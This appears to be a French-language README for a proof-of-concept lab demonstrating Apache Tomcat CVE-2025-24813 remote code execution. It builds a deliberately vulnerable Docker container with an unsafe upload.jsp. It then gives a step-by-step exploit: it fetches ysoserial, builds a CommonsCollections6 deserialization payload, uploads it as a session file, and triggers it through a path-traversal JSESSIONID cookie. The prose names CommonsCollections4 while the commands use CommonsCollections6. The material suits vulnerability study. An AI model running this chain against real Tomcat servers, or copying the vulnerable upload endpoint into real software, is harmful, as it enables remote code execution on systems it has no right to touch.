
Preuve de concept démontrant Apache Tomcat CVE-2025-24813, exploitant le PUT non sécurisé de DefaultServlet et la désérialisation de session pour parvenir à une exécution de code à distance.
Ce dépôt contient une application simple construite pour observer le comportement du CVE-2025-24813, une vulnérabilité récente dans Apache Tomcat liée à l'utilisation du DefaultServlet avec l'écriture activée (readonly=false), permettant des opérations d'écriture non sécurisées via HTTP PUT (avec prise en charge des partial PUT / Content-Range) pouvant conduire à l'écrasement de fichiers sensibles, y compris les fichiers de session — permettant des scénarios de RCE en cas de désérialisation malveillante.
L'application utilise :
| Composant | Fonction |
|---|
| Tomcat 9 + JDK 11 | Serveur vulnérable utilisé comme cible |
context.xml | Active PersistentManager + FileStore sauvegardant les sessions sur disque |
upload.jsp | Point de terminaison simple qui reçoit des données et les écrit sur le disque |
/tmp/app-data/ | Répertoire où les uploads seront sauvegardés |
L'idée initiale est d'observer comment Tomcat traite les fichiers dans un environnement configuré pour l'étude du CVE — en commençant par une requête bénigne, qui écrit simplement un fichier de manière contrôlée (sans tentative d'exploitation) puis immédiatement après un fichier malveillant.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
Dans un autre terminal, exécutez les commandes ci-dessous.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
Nous enverrons un fichier simple pour observer le comportement normal.
Upload en envoyant une chaîne
echo "Fichier Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Ceci est simplement un message simple."
Si tout est correct, dans le terminal exécutant strace rien ne devrait apparaître.
Remarque : Si des erreurs SIGSEGV apparaissent dans strace, ignorez-les. Ce sont des bruits de la JVM.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Ici, nous utilisons la chaîne CommonsCollections4 pour générer un objet qui, dans un scénario vulnérable, pourrait exécuter la commande touch /tmp/RCE. La charge utile sera enregistrée sous hack.session.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Si la commande précédente échoue, c'est que pour garantir la compatibilité avec les versions modernes de Java (9+), il est nécessaire d'ajouter le flag --add-opens pour désactiver l'encapsulation forte (JPMS), qui autrement bloquerait la réflexion utilisée par ysoserial.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Après cette commande, vous aurez un fichier binaire local :
hack.session
Nous envoyons le fichier .session vers le point de terminaison JSP, qui écrit le contenu directement dans le répertoire /tmp/app-data.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
Sortie attendue :
Fichier enregistré avec succès dans : /tmp/app-data/hack.session
📌 À ce moment, aucune commande n'est exécutée — seul un fichier a été écrit sur le serveur.
Maintenant, nous faisons une requête en envoyant le cookie JSESSIONID=hack, en essayant de forcer Tomcat à charger la session nouvellement créée.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
En regardant le terminal de strace, des commandes execve créant le fichier devraient être apparues.
Pour voir si le fichier a été créé, on peut aussi entrer dans le conteneur et vérifier
docker exec -it toy-cve ls -l /tmp/